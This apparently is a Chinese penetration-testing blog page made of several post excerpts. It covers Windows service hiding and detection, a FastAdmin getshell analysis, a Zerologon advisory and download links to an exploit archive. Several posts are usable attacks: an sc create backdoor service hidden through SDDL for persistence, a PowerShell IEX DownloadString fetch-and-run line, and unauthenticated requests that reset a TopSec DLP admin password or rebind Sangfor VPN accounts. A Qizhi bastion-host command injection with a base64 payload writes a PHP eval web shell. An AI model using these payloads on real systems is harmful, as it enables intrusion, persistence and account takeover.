使用正则快速从 js 文件里提取处 API path 渗透测试
前言
在渗透测试的时候,遇到前后分离的站点,多数与后端通信的 API path 就在 js 文件里,且大多数名称为 app.xxxx.js 这类以 app 开头的 js 文件里面。
而且这类 js 文件大多数是混淆过的,或者压缩过,又臭又长!
正则提取 API path
在 js 文...
蓝队技巧:查找被隐藏的Windows服务项 渗透测试
在上篇,我们说过红队技巧:隐藏windows服务,今天抽空来更新下,如何查找这类隐藏的Windows服务项。 首先看下效果,使用powershell远程下载执行直接获得隐藏的Windows服务名称:
通过远程下载执行无文件落地查看隐藏Windows服务:
powershell -c "IEX (New-Object Net.WebClient).DownloadString('h...
红队技巧:隐藏windows服务 渗透测试
在后渗透测试中,我们拿到了目标机器的权限后,要想办法维持权限,保持持久,嗯,很重要,不管生活还是工作都需要持久!
利用windows服务来植入我们的后门也是一种常见的利用方式,但是往往一般植入的服务很容易被管理员在任务管理器看到。如果可以隐藏的话,就大大提高了我们的持久性,今天就介绍下一种利用powershell来进行隐藏windows服务的技巧,重启后也可以正常启动。
首先创建一个服务(需要系统管理员权限运行的CMD):
sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto
如上图所示可以看到成功创建了一个名为 mrxn 的windows服务,实战过程可以加上一些描述,取一个迷惑性的名字等等操作迷惑对手。
然后以管理员权限打开一个 powershell 窗口,运行安全描述符定义语言(SDDL)命令来隐藏我们创建的 mrxn 服务:
& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
运行成功后,在我们的任务管理器里面就看不到创建的 mrxn 服务了(需要重启任务管理器或者你命令刷新)
如果你不想隐藏次windows服务了,运行以下安全描述符定义语言(SDDL)命令来取消隐藏即可:
& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
如上图所示,成功取消隐藏windows服务。
这种方法对于红队来说,还是有一定作用的,欢迎渗透大佬们实践评论。
详细的原理来自这里:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ 我只是实践者。
查找隐藏的Windows服务项:
蓝队技巧:查找被隐藏的Windows服务项
零组镜像打包下载 零组文章下载(截止到2020年3月的版本和2020年09月19日版本) 渗透测试
web安全
74cms
ActiveMQ
Adminer
Adobe ColdFusion
Apache
Apache Dubbo
Apache FusionAuth
Apache HTTPD
Apache Log4j
Apache SSI
Apereo CAS
AppWeb
Aria2
Cacti
CatfishCMS
Citrix NetScaler
CmsEasy
Cobub Razor
Computrols CBAS Web
Confluence
Coremail
Couchcms
CouchDB
Dedecms
Discuz
Django
Docker
Elasticsearch
Emlog
Eyoucms
FasterXML jackson
Fastjson
FCKeditor
Finecms
Flash
Fortinet FortiOS
GetSimple CMS
Gitbook
Gitlab
GoAhead
Hadoop
Harbor
Hashbrown CMS
ImageMagick
Imcat
IonizeCMS
Jboss
Jenkins
Jira
Joomal
JYmusic
kibana
Maccms
Mariadb
Memcache
MetInfo
Microsoft Exchange
Mintinstall
Mongo DB
MyBB
Mysql
Newbee-mall
Nexus
Niushop
Nostromo httpd
OKLite
OpenSNS
PageMyAdmin
PbootCMS
Php
Phpcms
phpmyadmin
PHPOK
Phpweb
PhpYun
Pluck cms
Pyspider
R&D Visions CMS
rConfig
Redis
Seacms
Semcms
Smarty
Spring Cloud Config Server
SQL Server
ThinkCMF
Thinkphp
Thinkphp shop
Tomcat
Ueditor
UsualToolcms
vBulletin
Weblogic
Webmin
WeCenter
Wordpress
X5music
Xfilesharing
YouDianCMS
Yunucms
Yunyecms
YXcms
YzmCMS
Zzcms
Zzzcms
微擎
有道云笔记
泛微oa
禅知
禅道
致远oa
通达oa
iot
360
Amazon Kindle Fire HD
Cisco
D-Link
Huawei
JCG
PHICOMM
Sapido
TP-Link
安全工具
Burpsuite
Cobalt Strike
Cobalt Strike 4.0
Sqlmap
Sqlmap proxy
Sqlmap tamper
Sqlmap+burpsuit辅助批量注入验证
子域名扫描
指纹
游览器插件
安全技术
Disable functions
Linux后门
sql
Windows取证
上传绕过
常用命令
内网渗透
内网穿透:
ABPTTS
Anydesk
ew
frp
lcx
nc
reGeorg
ssocks
teamviewer
内网渗透:
DBscanner
Windows常用程序密码读取工具
内网渗透之获取windows远程桌面(RDP)连接记录
利用windows api dump进程
金山毒霸
提权exp
linux
windows
零组镜像打包下载 零组文章下载:
汇总:https://cloud.189.cn/t/INN7byuQNnQz(访问码:4xny)
https://cloud.189.cn/t/ZV7F7fzIRfIf(访问码:c49j)
https://mega.nz/file/OcVHzY7C#wrVRXSsj8lo7_6_Qp7BbOqf-dAmvVfAm_-NMZaIJbc8
https://mega.nz/file/PZVnkShT#AZv2rRmU-_5M4Kp5m0zG2NMSNosqeoehiKjzGA_86ZA
https://cloud.189.cn/t/2qAfMjeUJNra(访问码:7bhr)
解压密码:mrxn.net
fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析 渗透测试
0x1.简介
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。
补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。
影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta
修复建议:
升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:
https://www.fastadmin.net/download.html
0x2.漏洞详情
利用限制:需要开启会员中心功能,且登录会员中心。
/application/config.php 文件中:
//是否开启前台会员中心 'usercenter' => true,
漏洞分析
/application/index/User.php 文件
第58-67行:
public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch($name); }
user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);
此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。
fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容
fetch() 函数的关键内容如下:
public function fetch($template, $data = [], $config = []) { if ('' == pathinfo($template, PATHINFO_EXTENSION)) { // 获取模板文件名 $template = $this->parseTemplate($template); } // 模板不存在 抛出异常 if (!is_file($template)) { throw new TemplateNotFoundException('template not exists:' . $template, $template); } // 记录视图信息 App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info'); $this->template->fetch($template, $data, $config); }
继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。
总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell
另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:
1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:
2、在linux下, is_file() 函数判可用于判断符号链接
3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false
4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致
5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败
0x3.漏洞验证
通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。
利用过程如下:
在前台的会员中心,个人资料处,上传修改头像:
抓包后修改图片数据(满足图片头格式即可):
记录下路径后,成功getshell
在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:
当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:
文章出自:https://forum.90sec.com/t/topic/1294
作者:https://forum.90sec.com/u/panda
大家可以投稿90注册啊!给你们投票!哈哈哈
深信服VPN 修改任意账户绑定手机号 渗透测试
https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
注意 需要登录之后才可以
CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器) 渗透测试
0x01 更新概览
2020年09月14日,360CERT监测发现 secura
公开了针对该漏洞研究报告及PoC
,可造成 权限提升影响
。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。
具体更新详情可参考: 漏洞验证
0x02 漏洞简述
2020年08月12日, 360CERT监测发现 Windows官方
发布了 NetLogon 特权提升漏洞
的风险通告,该漏洞编号为 CVE-2020-1472
,漏洞等级:严重
,漏洞评分:10分
。
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x03 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
360CERT评分 | 10分 |
0x04 漏洞详情
NetLogon组件
是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
漏洞验证
使用 SecuraBV/zerologon_tester.py
进行验证;可以看到在 windows server 2012
结果如下图所示
python版本: 3.8.5 域控版本: windows server 2008 测试机版本: windows server 2012
0x05 影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
相关检测和利用工具地址:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
泛微OA云桥任意文件读取漏洞 渗透测试
泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。
2、通过查看文件接口访问 /file/fileNoLogin/id
可参考微步的情报:
天融信数据防泄漏系统越权修改管理员密码 渗透测试
无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd
接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。
POST /?module=auth_user&action=mod_edit_pwd
Cookie: username=superman;
uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1
齐治堡垒机前台远程命令执行漏洞 渗透测试
齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)
未授权无需登录。
1、访问 http://10.20.10.11/listener/cluster_manage.php :返回 "OK".
2、访问如下链接即可getshell,执行成功后,生成PHP一句话马
3、/var/www/shterm/resources/qrcode/lbj77.php 密码10086
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}